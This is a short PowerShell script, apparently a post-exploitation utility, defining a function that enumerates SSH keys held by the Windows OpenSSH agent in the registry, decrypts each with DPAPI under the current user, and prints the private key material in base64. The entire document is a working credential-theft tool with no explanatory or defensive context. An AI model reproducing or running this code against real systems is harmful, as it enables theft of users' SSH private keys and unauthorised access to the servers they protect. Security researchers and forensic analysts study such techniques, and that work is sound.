function extract-sshprivatekey{
    
    Add-Type -AssemblyName System.Security

    if(Test-Path 'HKCU:\Software\OpenSSH\Agent\keys\')
    {
        $list = (Get-ChildItem HKCU:\Software\OpenSSH\Agent\Keys\).name
        foreach($i in $list)
        {
            $p = $i.Replace("HKEY_CURRENT_USER","hkcu:")
            $comment = (Get-ItemProperty -Path $p).comment
            $comment = [System.Text.Encoding]::ASCII.GetString($comment)
            echo "Name SSH Key: $comment"
            echo " "
            $key = (Get-ItemProperty -Path $p).'(Default)'
            $bytesUnProtect = [Security.Cryptography.ProtectedData]::Unprotect($key,$null,'CurrentUser')
            [System.Convert]::ToBase64String($bytesUnProtect)
            echo " "
        }
    }

}
